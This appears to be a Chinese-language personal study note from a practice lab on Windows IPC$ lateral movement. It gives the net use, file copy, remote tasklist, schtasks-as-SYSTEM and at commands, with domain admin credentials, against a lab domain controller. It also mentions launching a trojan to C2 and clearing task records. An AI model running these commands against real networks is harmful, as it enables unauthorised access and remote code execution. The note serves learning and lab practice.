IPC

今天在看微信公众号时,看到一篇IPC总结,想到之前打靶场的时候有用到过这个,只是跟着教程做,也不知道是做什么,可能到这篇特意跟着梳理一下

原文:

域内横向总结系列-IPChttps://mp.weixin.qq.com/s/GvYx3gm0r8hXGWtReXk9eA

https://cloud.tencent.com/developer/article/1937086

https://blog.csdn.net/qq_34144916/article/details/81184434

什么是IPC

IPC$ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

​ PC$是NT2000的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。

​ NT2000在提供了 IPC$ 共享功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$……)和系统目录共享(Admin$)。

​ 所有的这些初衷都是为了方便管理员的管理。但好的初衷并不一定有好的收效,一些别有用心者会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。

IPC利用条件

​ 开启139、445端口

​ 管理员开启了默认共享(默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘,和系统目录winnt或Windows(admin$)。通过ipc$可以实现对这些默认共享目录的访问。)

​ 获取目标主机的账号密码(hash

IPC利用方法

通过建立ipc管道连接可以读取目标主机的目录、文件也可以上传下载文件,还可以通过定时任务命令执行上传到目标主机的木马上线到C2。

下面来试试一些常用命令,就拿之前的day1靶场来试试

web服务器:192.168.111.128/192.168

域控:192.168.52.138

建立IPC连接:

net use \\192.168.52.138 /u:god\administrator admin@123

再查看下ipc连接情况

net use

image-20240825213640340

删除IPC连接

net use \\192.168.52.138 /de /y
net use

image-20240825214203706

查看目标共享资源

net view \\192.168.52.138

image-20240825214247426

列出目标下C盘资源

net view \\192.168.52.138\c$

image-20240825214444620

上传文件到目标机器C盘,如果有过了,会让你选择是否覆盖

copy .\1.txt \\192.168.52.138\c$\

image-20240825214730414

image-20240825214637885

查看刚上传上去的文件内容

type \\192.168.52.138\c$\1.txt

image-20240825215945217

下载目标机器文件到本机

copy \\192.168.52.138\c$\a.txt . > 2.txt

image-20240825220346939

列出目标主机的进程,可以看到目标机器有没有杀软

tasklist /S 192.168.52.138 /U Administrator /P admin@123

image-20240825220538660

创建计划任务,schtasks(计划任务)

Windows Vista、Windows Server 2008及之后版本的操作系统已经弃用at命令,而转为用schtasks命令。schtasks命令比 at 命令更灵活。在使用schtasks命令时,会在系统中留下日志文件:C:\Windows\Tasks\SchedLgU.txt.这里因为是win2003,所以还是用st测试

St:

schtasks /create /tn test /U got\administrator /P admin@123 /tr "cmd /c ipconfig > c:\ipconfig.txt" /sc MINUTE /mo 1 /s 192.168.52.138 /RU system
  • /tn test: 指定要创建的计划任务的名称为 “test”。
  • /tr "cmd /c ipconfig > c:\ipconfig.txt": 指定计划任务要运行的命令,这里是运行 ipconfig 命令并将结果输出到 c:\ipconfig.txt 文件。
  • /sc MINUTE: 指定计划任务的触发器类型为分钟级别。
  • /mo 1: 指定每隔 1 分钟运行一次该任务。
  • /RU system: 指定要用于运行任务的用户账户为系统账户。

image-20240825221434349

image-20240825221449353

image-20240825221514839

执行计划任务

schtasks /run /tn test /s 192.168.52.138 /U god\administrator /P admin@123

删除计划任务

schtasks /F /delete /tn test /s 192.168.52.138 /U god\administrator /P admin@123

at命令

使用at前需要建立IPC连接

执行命令

at \\192.168.52.138:40AM cmd /c "ipconfig > c:\i.txt"

image-20240825224505490

image-20240825224540187

清除记录

at \\192.168.52.138 作业ID /delete

image-20240825224726918

image-20240825224752266

IPC$连接失败的原因及常见错误号

连接失败原因

  • 用户名或密码错误
  • 目标主机没有开启IPC$共享
  • 不能成功连接目标主机的139、445端口
  • 命令输入错误

常见错误号

  • 错误号5:拒绝访问
  • 错误号51:Windows无法找到网络路径,及网络中存在问题
  • 错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的lanmanserver服务未启动,目标防火墙过滤了端口
  • 错误号67:找不到网络名,包括 lanmanworkstation 服务未启动,IPC$已被删除
  • 错误号1219:提供的凭据与已存在的凭据集冲突。例如已经和目标建立了IPC$连接,需要在删除后重新连接
  • 错误号1326:未知的用户名或错误的密码
  • 错误号1792:试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)
  • 错误号2242:此用户的密码已经过期。